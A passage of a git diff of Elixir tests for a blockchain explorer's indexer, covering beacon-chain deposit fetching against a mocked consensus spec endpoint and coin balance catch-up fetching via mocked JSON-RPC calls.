initial_chain_id = Application.get_env(:indexer, :chain_id) + initial_fetcher_env = Application.get_env(:indexer, DepositFetcher) + + Application.put_env(:indexer, DepositSupervisor, initial_supervisor_env |> Keyword.put(:disabled?, false)) + Application.put_env(:indexer, :chain_id, "1") + Application.put_env(:indexer, DepositFetcher, initial_fetcher_env |> Keyword.merge(interval: 1, batch_size: 1)) + + on_exit(fn -> + Application.put_env(:indexer, DepositSupervisor, initial_supervisor_env) + Application.put_env(:indexer, :chain_id, initial_chain_id) + Application.put_env(:indexer, DepositFetcher, initial_fetcher_env) + end) + end + + @spec_result """ + { + "data": { + "CONFIG_NAME": "mainnet", + "PRESET_BASE": "mainnet", + "TERMINAL_TOTAL_DIFFICULTY": "58750000000000000000000", + "TERMINAL_BLOCK_HASH": "0x0000000000000000000000000000000000000000000000000000000000000000", + "TERMINAL_BLOCK_HASH_ACTIVATION_EPOCH": "18446744073709551615", + "MIN_GENESIS_ACTIVE_VALIDATOR_COUNT": "16384", + "MIN_GENESIS_TIME": "1606824000", + "GENESIS_FORK_VERSION": "0x00000000", + "GENESIS_DELAY": "604800", + "ALTAIR_FORK_VERSION": "0x01000000", + "ALTAIR_FORK_EPOCH": "74240", + "BELLATRIX_FORK_VERSION": "0x02000000", + "BELLATRIX_FORK_EPOCH": "144896", + "CAPELLA_FORK_VERSION": "0x03000000", + "CAPELLA_FORK_EPOCH": "194048", + "DENEB_FORK_VERSION": "0x04000000", + "DENEB_FORK_EPOCH": "269568", + "ELECTRA_FORK_VERSION": "0x05000000", + "ELECTRA_FORK_EPOCH": "364032", + "FULU_FORK_VERSION": "0x06000000", + "FULU_FORK_EPOCH": "18446744073709551615", + "SECONDS_PER_SLOT": "12", + "SECONDS_PER_ETH1_BLOCK": "14", + "MIN_VALIDATOR_WITHDRAWABILITY_DELAY": "256", + "SHARD_COMMITTEE_PERIOD": "256", + "ETH1_FOLLOW_DISTANCE": "2048", + "SUBNETS_PER_NODE": "2", + "INACTIVITY_SCORE_BIAS": "4", + "INACTIVITY_SCORE_RECOVERY_RATE": "16", + "EJECTION_BALANCE": "16000000000", + "MIN_PER_EPOCH_CHURN_LIMIT": "4", + "MAX_PER_EPOCH_ACTIVATION_CHURN_LIMIT": "8", + "CHURN_LIMIT_QUOTIENT": "65536", + "PROPOSER_SCORE_BOOST": "40", + "DEPOSIT_CHAIN_ID": "1", + "DEPOSIT_NETWORK_ID": "1", + "DEPOSIT_CONTRACT_ADDRESS": "0x00000000219ab540356cbb839cbe05303d7705fa", + "GAS_LIMIT_ADJUSTMENT_FACTOR": "1024", + "MAX_PAYLOAD_SIZE": "10485760", + "MAX_REQUEST_BLOCKS": "1024", + "MIN_EPOCHS_FOR_BLOCK_REQUESTS": "33024", + "TTFB_TIMEOUT": "5", + "RESP_TIMEOUT": "10", + "ATTESTATION_PROPAGATION_SLOT_RANGE": "32", + "MAXIMUM_GOSSIP_CLOCK_DISPARITY_MILLIS": "500", + "MESSAGE_DOMAIN_INVALID_SNAPPY": "0x00000000", + "MESSAGE_DOMAIN_VALID_SNAPPY": "0x01000000", + "ATTESTATION_SUBNET_PREFIX_BITS": "6", + "MAX_REQUEST_BLOCKS_DENEB": "128", + "MAX_REQUEST_BLOB_SIDECARS": "768", + "MAX_REQUEST_DATA_COLUMN_SIDECARS": "16384", + "MIN_EPOCHS_FOR_BLOB_SIDECARS_REQUESTS": "4096", + "BLOB_SIDECAR_SUBNET_COUNT": "6", + "MAX_BLOBS_PER_BLOCK": "6", + "MIN_PER_EPOCH_CHURN_LIMIT_ELECTRA": "128000000000", + "MAX_PER_EPOCH_ACTIVATION_EXIT_CHURN_LIMIT": "256000000000", + "MAX_BLOBS_PER_BLOCK_ELECTRA": "9", + "BLOB_SIDECAR_SUBNET_COUNT_ELECTRA": "9", + "MAX_REQUEST_BLOB_SIDECARS_ELECTRA": "1152", + "NUMBER_OF_COLUMNS": "128", + "NUMBER_OF_CUSTODY_GROUPS": "128", + "DATA_COLUMN_SIDECAR_SUBNET_COUNT": "128", + "SAMPLES_PER_SLOT": "8", + "CUSTODY_REQUIREMENT": "4", + "MAX_COMMITTEES_PER_SLOT": "64", + "TARGET_COMMITTEE_SIZE": "128", + "MAX_VALIDATORS_PER_COMMITTEE": "2048", + "SHUFFLE_ROUND_COUNT": "90", + "HYSTERESIS_QUOTIENT": "4", + "HYSTERESIS_DOWNWARD_MULTIPLIER": "1", + "HYSTERESIS_UPWARD_MULTIPLIER": "5", + "MIN_DEPOSIT_AMOUNT": "1000000000", + "MAX_EFFECTIVE_BALANCE": "32000000000", + "EFFECTIVE_BALANCE_INCREMENT": "1000000000", + "MIN_ATTESTATION_INCLUSION_DELAY": "1", + "SLOTS_PER_EPOCH": "32", + "MIN_SEED_LOOKAHEAD": "1", + "MAX_SEED_LOOKAHEAD": "4", + "EPOCHS_PER_ETH1_VOTING_PERIOD": "64", + "SLOTS_PER_HISTORICAL_ROOT": "8192", + "MIN_EPOCHS_TO_INACTIVITY_PENALTY": "4", + "EPOCHS_PER_HISTORICAL_VECTOR": "65536", + "EPOCHS_PER_SLASHINGS_VECTOR": "8192", + "HISTORICAL_ROOTS_LIMIT": "16777216", + "VALIDATOR_REGISTRY_LIMIT": "1099511627776", + "BASE_REWARD_FACTOR": "64", + "WHISTLEBLOWER_REWARD_QUOTIENT": "512", + "PROPOSER_REWARD_QUOTIENT": "8", + "INACTIVITY_PENALTY_QUOTIENT": "67108864", + "MIN_SLASHING_PENALTY_QUOTIENT": "128", + "PROPORTIONAL_SLASHING_MULTIPLIER": "1", + "MAX_PROPOSER_SLASHINGS": "16", + "MAX_ATTESTER_SLASHINGS": "2", + "MAX_ATTESTATIONS": "128", + "MAX_DEPOSITS": "16", + "MAX_VOLUNTARY_EXITS": "16", + "INACTIVITY_PENALTY_QUOTIENT_ALTAIR": "50331648", + "MIN_SLASHING_PENALTY_QUOTIENT_ALTAIR": "64", + "PROPORTIONAL_SLASHING_MULTIPLIER_ALTAIR": "2", + "SYNC_COMMITTEE_SIZE": "512", + "EPOCHS_PER_SYNC_COMMITTEE_PERIOD": "256", + "MIN_SYNC_COMMITTEE_PARTICIPANTS": "1", + "INACTIVITY_PENALTY_QUOTIENT_BELLATRIX": "16777216", + "MIN_SLASHING_PENALTY_QUOTIENT_BELLATRIX": "32", + "PROPORTIONAL_SLASHING_MULTIPLIER_BELLATRIX": "3", + "MAX_BYTES_PER_TRANSACTION": "1073741824", + "MAX_TRANSACTIONS_PER_PAYLOAD": "1048576", + "BYTES_PER_LOGS_BLOOM": "256", + "MAX_EXTRA_DATA_BYTES": "32", + "MAX_BLS_TO_EXECUTION_CHANGES": "16", + "MAX_WITHDRAWALS_PER_PAYLOAD": "16", + "MAX_VALIDATORS_PER_WITHDRAWALS_SWEEP": "16384", + "MAX_BLOB_COMMITMENTS_PER_BLOCK": "4096", + "FIELD_ELEMENTS_PER_BLOB": "4096", + "MIN_ACTIVATION_BALANCE": "32000000000", + "MAX_EFFECTIVE_BALANCE_ELECTRA": "2048000000000", + "MIN_SLASHING_PENALTY_QUOTIENT_ELECTRA": "4096", + "WHISTLEBLOWER_REWARD_QUOTIENT_ELECTRA": "4096", + "PENDING_DEPOSITS_LIMIT": "134217728", + "PENDING_PARTIAL_WITHDRAWALS_LIMIT": "134217728", + "PENDING_CONSOLIDATIONS_LIMIT": "262144", + "MAX_ATTESTER_SLASHINGS_ELECTRA": "1", + "MAX_ATTESTATIONS_ELECTRA": "8", + "MAX_DEPOSIT_REQUESTS_PER_PAYLOAD": "8192", + "MAX_WITHDRAWAL_REQUESTS_PER_PAYLOAD": "16", + "MAX_CONSOLIDATION_REQUESTS_PER_PAYLOAD": "2", + "MAX_PENDING_PARTIALS_PER_WITHDRAWALS_SWEEP": "8", + "MAX_PENDING_DEPOSITS_PER_EPOCH": "16", + "FIELD_ELEMENTS_PER_CELL": "64", + "FIELD_ELEMENTS_PER_EXT_BLOB": "8192", + "KZG_COMMITMENTS_INCLUSION_PROOF_DEPTH": "4", + "DOMAIN_RANDAO": "0x02000000", + "DOMAIN_DEPOSIT": "0x03000000", + "FULL_EXIT_REQUEST_AMOUNT": "0", + "COMPOUNDING_WITHDRAWAL_PREFIX": "0x02", + "DOMAIN_SELECTION_PROOF": "0x05000000", + "SYNC_COMMITTEE_SUBNET_COUNT": "4", + "UNSET_DEPOSIT_REQUESTS_START_INDEX": "18446744073709551615", + "DOMAIN_BEACON_PROPOSER": "0x00000000", + "DOMAIN_VOLUNTARY_EXIT": "0x04000000", + "VERSIONED_HASH_VERSION_KZG": "1", + "DOMAIN_BEACON_ATTESTER": "0x01000000", + "TARGET_AGGREGATORS_PER_SYNC_SUBCOMMITTEE": "16", + "DOMAIN_APPLICATION_MASK": "0x00000001", + "DOMAIN_AGGREGATE_AND_PROOF": "0x06000000", + "ETH1_ADDRESS_WITHDRAWAL_PREFIX": "0x01", + "TARGET_AGGREGATORS_PER_COMMITTEE": "16", + "DOMAIN_SYNC_COMMITTEE": "0x07000000", + "BLS_WITHDRAWAL_PREFIX": "0x00", + "DOMAIN_SYNC_COMMITTEE_SELECTION_PROOF": "0x08000000", + "DOMAIN_CONTRIBUTION_AND_PROOF": "0x09000000" + } + } + """ + + describe "init/1" do + test "fetches config and initializes state without deposits in the database" do + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: "http://localhost:5052/eth/v1/config/spec"}, _opts -> + {:ok, %Tesla.Env{status: 200, body: @spec_result}} + end + ) + + DepositSupervisor.Case.start_supervised!() + + {_, pid, _, _} = + Supervisor.which_children(DepositSupervisor) |> Enum.find(fn {name, _, _, _} -> name == DepositFetcher end) + + assert :sys.get_state(pid) == %DepositFetcher{ + interval: 1, + batch_size: 1, + deposit_contract_address_hash: "0x00000000219ab540356cbb839cbe05303d7705fa", + domain_deposit: <<3, 0, 0, 0>>, + genesis_fork_version: <<0, 0, 0, 0>>, + deposit_index: -1, + last_processed_log_block_number: -1, + last_processed_log_index: -1 + } + end + + test "fetches config and initializes state with deposits in the database" do + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: "http://localhost:5052/eth/v1/config/spec"}, _opts -> + {:ok, %Tesla.Env{status: 200, body: @spec_result}} + end + ) + + deposit = insert(:beacon_deposit) + + DepositSupervisor.Case.start_supervised!() + + {_, pid, _, _} = + Supervisor.which_children(DepositSupervisor) |> Enum.find(fn {name, _, _, _} -> name == DepositFetcher end) + + assert :sys.get_state(pid) == %DepositFetcher{ + interval: 1, + batch_size: 1, + deposit_contract_address_hash: "0x00000000219ab540356cbb839cbe05303d7705fa", + domain_deposit: <<3, 0, 0, 0>>, + genesis_fork_version: <<0, 0, 0, 0>>, + deposit_index: deposit.index, + last_processed_log_block_number: deposit.block_number, + last_processed_log_index: deposit.log_index + } + end + end + + describe "handle_info(:process_logs, state)" do + @state %DepositFetcher{ + interval: 1, + batch_size: 1, + deposit_contract_address_hash: "0x00000000219ab540356cbb839cbe05303d7705fa", + domain_deposit: <<3, 0, 0, 0>>, + genesis_fork_version: <<0, 0, 0, 0>>, + deposit_index: -1, + last_processed_log_block_number: -1, + last_processed_log_index: -1 + } + + test "processes logs (batch 1)" do + deposit_contract_address = insert(:address, hash: "0x00000000219ab540356cbb839cbe05303d7705fa") + other_contract_address = insert(:address, hash: "0x00000000219ab540356cbb839cbe05303d7705fb") + + insert(:log) + transaction_a = insert(:transaction) |> with_block() + + log_a = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 0, + transaction: transaction_a, + block: transaction_a.block + ) + + log_a_transaction_hash = log_a.transaction_hash + transaction_b = insert(:transaction) |> with_block() + + log_b = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 1, + transaction: transaction_b, + block: transaction_b.block + ) + + log_b_transaction_hash = log_b.transaction_hash + # ensure that logs from other contract or with other signature are ignored + _log_to_be_ignored_b = insert(:beacon_deposit_log, address: other_contract_address, deposit_index: 2) + + {:noreply, new_state} = DepositFetcher.handle_info(:process_logs, @state) + DepositFetcher.handle_info(:process_logs, new_state) + + assert [ + %Deposit{transaction_hash: ^log_a_transaction_hash}, + %Deposit{transaction_hash: ^log_b_transaction_hash} + ] = + Repo.all(from(d in Deposit, order_by: [asc: :index])) + end + + test "processes logs (batch 5)" do + state = Map.put(@state, :batch_size, 5) + + deposit_contract_address = insert(:address, hash: "0x00000000219ab540356cbb839cbe05303d7705fa") + other_contract_address = insert(:address, hash: "0x00000000219ab540356cbb839cbe05303d7705fb") + + insert(:log) + transaction_a = insert(:transaction) |> with_block() + + log_a = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 0, + transaction: transaction_a, + block: transaction_a.block + ) + + log_a_transaction_hash = log_a.transaction_hash + + transaction_b = insert(:transaction) |> with_block() + + log_b = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 1, + transaction: transaction_b, + block: transaction_b.block + ) + + log_b_transaction_hash = log_b.transaction_hash + # ensure that logs from other contract or with other signature are ignored + _log_to_be_ignored_b = insert(:beacon_deposit_log, address: other_contract_address, deposit_index: 2) + + DepositFetcher.handle_info(:process_logs, state) + + assert [ + %Deposit{transaction_hash: ^log_a_transaction_hash}, + %Deposit{transaction_hash: ^log_b_transaction_hash} + ] = + Repo.all(from(d in Deposit, order_by: [asc: :index])) + end + + test "fails to process non-sequential logs (logs starts not from 0, between batches)" do + deposit_contract_address = insert(:address, hash: "0x00000000219ab540356cbb839cbe05303d7705fa") + + transaction_a_to_be_ignored = insert(:transaction) |> with_block() + + _log_to_be_ignored_a = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 1, + transaction: transaction_a_to_be_ignored, + block: transaction_a_to_be_ignored.block + ) + + transaction_a = insert(:transaction) |> with_block() + + _log_a = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 2, + transaction: transaction_a, + block: transaction_a.block + ) + + transaction_b = insert(:transaction) |> with_block() + + _log_b = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 3, + transaction: transaction_b, + block: transaction_b.block + ) + + log = capture_log(fn -> DepositFetcher.handle_info(:process_logs, @state) end) + + assert log =~ "Non-sequential deposits detected:" + + assert [] == Repo.all(Deposit) + end + + test "fails to process non-sequential logs (non-sequential between, between batches)" do + deposit_contract_address = insert(:address, hash: "0x00000000219ab540356cbb839cbe05303d7705fa") + + transaction_a = insert(:transaction) |> with_block() + + log_a = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 0, + transaction: transaction_a, + block: transaction_a.block + ) + + log_a_transaction_hash = log_a.transaction_hash + transaction_a_to_be_ignored = insert(:transaction) |> with_block() + + _log_to_be_ignored_a = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 2, + transaction: transaction_a_to_be_ignored, + block: transaction_a_to_be_ignored.block + ) + + transaction_b = insert(:transaction) |> with_block() + + _log_b = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 3, + transaction: transaction_b, + block: transaction_b.block + ) + + {:noreply, new_state} = DepositFetcher.handle_info(:process_logs, @state) + + log = capture_log(fn -> DepositFetcher.handle_info(:process_logs, new_state) end) + + assert log =~ "Non-sequential deposits detected:" + + assert [%Deposit{transaction_hash: ^log_a_transaction_hash}] = Repo.all(Deposit) + end + + test "fails to process non-sequential logs (logs starts not from 0, inside batch)" do + state = Map.put(@state, :batch_size, 5) + + deposit_contract_address = insert(:address, hash: "0x00000000219ab540356cbb839cbe05303d7705fa") + + transaction_a_to_be_ignored = insert(:transaction) |> with_block() + + _log_to_be_ignored_a = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 1, + transaction: transaction_a_to_be_ignored, + block: transaction_a_to_be_ignored.block + ) + + transaction_a = insert(:transaction) |> with_block() + + _log_a = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 2, + transaction: transaction_a, + block: transaction_a.block + ) + + transaction_b = insert(:transaction) |> with_block() + + _log_b = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 3, + transaction: transaction_b, + block: transaction_b.block + ) + + log = capture_log(fn -> DepositFetcher.handle_info(:process_logs, state) end) + + assert log =~ "Non-sequential deposits detected:" + + assert [] == Repo.all(Deposit) + end + + test "fails to process non-sequential logs (non-sequential between, inside batch)" do + state = Map.put(@state, :batch_size, 5) + + deposit_contract_address = insert(:address, hash: "0x00000000219ab540356cbb839cbe05303d7705fa") + + transaction_a = insert(:transaction) |> with_block() + + _log_a = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 0, + transaction: transaction_a, + block: transaction_a.block + ) + + transaction_a_to_be_ignored = insert(:transaction) |> with_block() + + _log_to_be_ignored_a = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 2, + transaction: transaction_a_to_be_ignored, + block: transaction_a_to_be_ignored.block + ) + + transaction_b = insert(:transaction) |> with_block() + + _log_b = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 3, + transaction: transaction_b, + block: transaction_b.block + ) + + log = capture_log(fn -> DepositFetcher.handle_info(:process_logs, state) end) + + assert log =~ "Non-sequential deposits detected:" + + assert [] = Repo.all(Deposit) + end + + test "signature verification" do + state = Map.put(@state, :batch_size, 5) + + deposit_contract_address = insert(:address, hash: "0x00000000219ab540356cbb839cbe05303d7705fa") + + transaction_a = insert(:transaction) |> with_block() + + _valid_log = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_pubkey: + Base.decode16!( + "b325d901d41957b6746088a61f5a1562f09ccb184e1628fa63b6bdfe9a724645d536484e4d26e8c9b653aaf0501cefe1", + case: :mixed + ), + deposit_withdrawal_credentials: + Base.decode16!("0100000000000000000000001ed8b3e4278184675fefa6981dea36f4535df417", case: :mixed), + deposit_amount: 32_000_000_000, + deposit_signature: + Base.decode16!( + "a519a7ff525a6831a6099399033bb5a0b959ec7af022ad7f37aa869927bbb59e1271079cbdff416e7f8f6f0f8ea7173304f4abdabfa65923a6b0304d49c97cef0690d0017b39518e7b19848657e2a9f73601d5037c217c5252558be1a8176e3d", + case: :mixed + ), + deposit_index: 0, + transaction: transaction_a, + block: transaction_a.block + ) + + transaction_b = insert(:transaction) |> with_block() + + _invalid_log = + insert(:beacon_deposit_log, + address: deposit_contract_address, + deposit_index: 1, + transaction: transaction_b, + block: transaction_b.block + ) + + DepositFetcher.handle_info(:process_logs, state) + + assert [%Deposit{status: :pending, index: 0}, %Deposit{status: :invalid, index: 1}] = + Repo.all(from(d in Deposit, order_by: [asc: :index])) + end + end + end +end diff --git a/apps/indexer/test/indexer/fetcher/block_reward_test.exs b/apps/indexer/test/indexer/fetcher/block_reward_test.exs index 6e7b2377a223..10b8f250dbde 100644 --- a/apps/indexer/test/indexer/fetcher/block_reward_test.exs +++ b/apps/indexer/test/indexer/fetcher/block_reward_test.exs @@ -30,7 +30,7 @@ defmodule Indexer.Fetcher.BlockRewardTest do transport: EthereumJSONRPC.Mox, transport_options: [], # Which one does not matter, so pick one - variant: EthereumJSONRPC.Parity + variant: EthereumJSONRPC.Nethermind ] } end @@ -126,15 +126,15 @@ defmodule Indexer.Fetcher.BlockRewardTest do pid = spawn_link(fn -> receive do - {:"$gen_call", from, {:buffer, balance_fields}} -> + {:"$gen_call", from, {:buffer, balance_fields, _front?}} -> GenServer.reply(from, :ok) send(parent, {:balance_fields, balance_fields}) end end) - Process.register(pid, Indexer.Fetcher.CoinBalance) + Process.register(pid, Indexer.Fetcher.CoinBalance.Catchup) - assert :ok = BlockReward.async_fetch([block_number]) + assert :ok = BlockReward.async_fetch([block_number], false) wait_for_tasks(BlockReward) @@ -199,15 +199,15 @@ defmodule Indexer.Fetcher.BlockRewardTest do pid = spawn_link(fn -> receive do - {:"$gen_call", from, {:buffer, balance_fields}} -> + {:"$gen_call", from, {:buffer, balance_fields, _front?}} -> GenServer.reply(from, :ok) send(parent, {:balance_fields, balance_fields}) end end) - Process.register(pid, Indexer.Fetcher.CoinBalance) + Process.register(pid, Indexer.Fetcher.CoinBalance.Catchup) - assert :ok = BlockReward.async_fetch([block_number]) + assert :ok = BlockReward.async_fetch([block_number], false) wait_for_tasks(BlockReward) @@ -260,7 +260,7 @@ defmodule Indexer.Fetcher.BlockRewardTest do } end) - assert :ok = BlockReward.async_fetch([block_number]) + assert :ok = BlockReward.async_fetch([block_number], false) wait_for_tasks(BlockReward) @@ -334,13 +334,13 @@ defmodule Indexer.Fetcher.BlockRewardTest do pid = spawn_link(fn -> receive do - {:"$gen_call", from, {:buffer, balance_fields}} -> + {:"$gen_call", from, {:buffer, balance_fields, _front?}} -> GenServer.reply(from, :ok) send(parent, {:balance_fields, balance_fields}) end end) - Process.register(pid, Indexer.Fetcher.CoinBalance) + Process.register(pid, Indexer.Fetcher.CoinBalance.Catchup) assert :ok = BlockReward.run([block_number], json_rpc_named_arguments) @@ -424,13 +424,13 @@ defmodule Indexer.Fetcher.BlockRewardTest do pid = spawn_link(fn -> receive do - {:"$gen_call", from, {:buffer, balance_fields}} -> + {:"$gen_call", from, {:buffer, balance_fields, _front?}} -> GenServer.reply(from, :ok) send(parent, {:balance_fields, balance_fields}) end end) - Process.register(pid, Indexer.Fetcher.CoinBalance) + Process.register(pid, Indexer.Fetcher.CoinBalance.Catchup) assert :ok = BlockReward.run([block_number], json_rpc_named_arguments) @@ -508,13 +508,13 @@ defmodule Indexer.Fetcher.BlockRewardTest do pid = spawn_link(fn -> receive do - {:"$gen_call", from, {:buffer, balance_fields}} -> + {:"$gen_call", from, {:buffer, balance_fields, _front?}} -> GenServer.reply(from, :ok) send(parent, {:balance_fields, balance_fields}) end end) - Process.register(pid, Indexer.Fetcher.CoinBalance) + Process.register(pid, Indexer.Fetcher.CoinBalance.Catchup) assert :ok = BlockReward.run([block_number], json_rpc_named_arguments) @@ -645,13 +645,13 @@ defmodule Indexer.Fetcher.BlockRewardTest do pid = spawn_link(fn -> receive do - {:"$gen_call", from, {:buffer, balance_fields}} -> + {:"$gen_call", from, {:buffer, balance_fields, _front?}} -> GenServer.reply(from, :ok) send(parent, {:balance_fields, balance_fields}) end end) - Process.register(pid, Indexer.Fetcher.CoinBalance) + Process.register(pid, Indexer.Fetcher.CoinBalance.Catchup) assert {:retry, [^error_block_number]} = BlockReward.run([block_number, error_block_number], json_rpc_named_arguments) diff --git a/apps/indexer/test/indexer/fetcher/coin_balance/catchup_test.exs b/apps/indexer/test/indexer/fetcher/coin_balance/catchup_test.exs new file mode 100644 index 000000000000..b330dccef57d --- /dev/null +++ b/apps/indexer/test/indexer/fetcher/coin_balance/catchup_test.exs @@ -0,0 +1,528 @@ +defmodule Indexer.Fetcher.CoinBalance.CatchupTest do + # MUST be `async: false` so that {:shared, pid} is set for connection to allow CoinBalanceFetcher's self-send to have + # connection allowed immediately. + use EthereumJSONRPC.Case, async: false + use Explorer.DataCase + + import EthereumJSONRPC, only: [integer_to_quantity: 1, quantity_to_integer: 1] + import Mox + + alias Explorer.Chain.{Address, Hash, Wei} + alias Explorer.Chain.Cache.BlockNumber + alias Indexer.Fetcher.CoinBalance.Catchup, as: CoinBalanceCatchup + + @moduletag :capture_log + + # MUST use global mode because we aren't guaranteed to get `start_supervised`'s pid back fast enough to `allow` it to + # use expectations and stubs from test's pid. + setup :set_mox_global + + setup :verify_on_exit! + + setup do + start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) + + initial_config = Application.get_env(:explorer, Explorer.Chain.Cache.BlockNumber) + Application.put_env(:explorer, Explorer.Chain.Cache.BlockNumber, enabled: true) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.Chain.Cache.BlockNumber, initial_config) + end) + + :ok + end + + describe "init/1" do + test "fetches unfetched Block miner balance", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + variant = Keyword.fetch!(json_rpc_named_arguments, :variant) + + %{block_number: block_number, fetched_balance: fetched_balance, miner_hash_data: miner_hash_data} = + case variant do + EthereumJSONRPC.Geth -> + %{ + block_number: 201_480, + fetched_balance: 6_301_752_965_671_077_173, + miner_hash_data: "0xe6a7a1d47ff21b6321162aea7c6cb457d5476bca" + } + + EthereumJSONRPC.Nethermind -> + %{ + block_number: 34, + fetched_balance: 252_460_834_000_000_000_000_000_000, + miner_hash_data: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" + } + + variant -> + raise ArgumentError, "Unsupported variant (#{variant})" + end + + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + block_quantity = integer_to_quantity(block_number) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [%{id: id, method: "eth_getBalance", params: [^miner_hash_data, ^block_quantity]}], + _options -> + {:ok, [%{id: id, result: integer_to_quantity(fetched_balance)}]} + end) + + res = eth_block_number_fake_response(block_quantity) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: [^block_quantity, true] + } + ], + _ -> + {:ok, [res]} + end) + end + + {:ok, miner_hash} = Hash.Address.cast(miner_hash_data) + miner = insert(:address, hash: miner_hash) + block = insert(:block, miner: miner, number: block_number) + insert(:unfetched_balance, address_hash: miner.hash, block_number: block_number) + + assert miner.fetched_coin_balance == nil + assert miner.fetched_coin_balance_block_number == nil + + CoinBalanceCatchup.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + + fetched_address = + wait(fn -> + Repo.one!( + from(address in Address, where: address.hash == ^miner_hash and not is_nil(address.fetched_coin_balance)) + ) + end) + + assert fetched_address.fetched_coin_balance == %Wei{value: Decimal.new(fetched_balance)} + assert fetched_address.fetched_coin_balance_block_number == block.number + end + + test "fetches unfetched addresses when less than max batch size", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + variant = Keyword.fetch!(json_rpc_named_arguments, :variant) + + %{block_number: block_number, fetched_balance: fetched_balance, miner_hash_data: miner_hash_data} = + case variant do + EthereumJSONRPC.Geth -> + %{ + block_number: 201_480, + fetched_balance: 6_301_752_965_671_077_173, + miner_hash_data: "0xe6a7a1d47ff21b6321162aea7c6cb457d5476bca" + } + + EthereumJSONRPC.Nethermind -> + %{ + block_number: 34, + fetched_balance: 252_460_834_000_000_000_000_000_000, + miner_hash_data: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca" + } + + variant -> + raise ArgumentError, "Unsupported variant (#{variant})" + end + + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + block_quantity = integer_to_quantity(block_number) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [%{id: id, method: "eth_getBalance", params: [^miner_hash_data, ^block_quantity]}], + _options -> + {:ok, [%{id: id, result: integer_to_quantity(fetched_balance)}]} + end) + + res = eth_block_number_fake_response(block_quantity) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: [^block_quantity, true] + } + ], + _ -> + {:ok, [res]} + end) + end + + {:ok, miner_hash} = Hash.Address.cast(miner_hash_data) + miner = insert(:address, hash: miner_hash) + block = insert(:block, miner: miner, number: block_number) + insert(:unfetched_balance, address_hash: miner.hash, block_number: block_number) + + CoinBalanceCatchup.Supervisor.Case.start_supervised!( + json_rpc_named_arguments: json_rpc_named_arguments, + max_batch_size: 2 + ) + + fetched_address = + wait(fn -> + Repo.one!( + from(address in Address, where: address.hash == ^miner_hash and not is_nil(address.fetched_coin_balance)) + ) + end) + + assert fetched_address.fetched_coin_balance == %Wei{value: Decimal.new(fetched_balance)} + assert fetched_address.fetched_coin_balance_block_number == block.number + end + end + + describe "async_fetch_balances/1" do + test "fetches balances for address_hashes", %{json_rpc_named_arguments: json_rpc_named_arguments} do + variant = Keyword.fetch!(json_rpc_named_arguments, :variant) + + %{block_number: block_number, fetched_balance: fetched_balance, hash: hash} = + case variant do + EthereumJSONRPC.Geth -> + %{ + block_number: 201_480, + fetched_balance: 6_301_752_965_671_077_173, + hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: <<230, 167, 161, 212, 127, 242, 27, 99, 33, 22, 42, 234, 124, 108, 180, 87, 213, 71, 107, 202>> + } + } + + EthereumJSONRPC.Nethermind -> + %{ + block_number: 34, + fetched_balance: 252_460_834_000_000_000_000_000_000, + hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: + <<232, 221, 197, 199, 162, 210, 240, 215, 169, 121, 132, 89, 192, 16, 79, 223, 94, 152, 122, 202>> + } + } + + variant -> + raise ArgumentError, "Unsupported variant (#{variant})" + end + + if json_rpc_named_arguments[:transport] == EthereumJSONRPC.Mox do + block_quantity = integer_to_quantity(block_number) + hash_data = to_string(hash) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [%{id: id, method: "eth_getBalance", params: [^hash_data, ^block_quantity]}], + _options -> + {:ok, [%{id: id, result: integer_to_quantity(fetched_balance)}]} + end) + + res = eth_block_number_fake_response(block_quantity) + + EthereumJSONRPC.Mox + |> expect(:json_rpc, fn [ + %{ + id: 0, + jsonrpc: "2.0", + method: "eth_getBlockByNumber", + params: [^block_quantity, true] + } + ], + _ -> + {:ok, [res]} + end) + end + + BlockNumber.set_max(block_number) + + CoinBalanceCatchup.Supervisor.Case.start_supervised!(json_rpc_named_arguments: json_rpc_named_arguments) + + assert :ok = CoinBalanceCatchup.async_fetch_balances([%{address_hash: hash, block_number: block_number}]) + + address = + wait(fn -> + Repo.get!(Address, hash) + end) + + assert address.fetched_coin_balance == %Wei{value: Decimal.new(fetched_balance)} + assert address.fetched_coin_balance_block_number == block_number + end + end + + describe "run/2" do + test "duplicate address hashes uses all block_quantity", %{ + json_rpc_named_arguments: json_rpc_named_arguments + } do + %{balance_by_block_number: 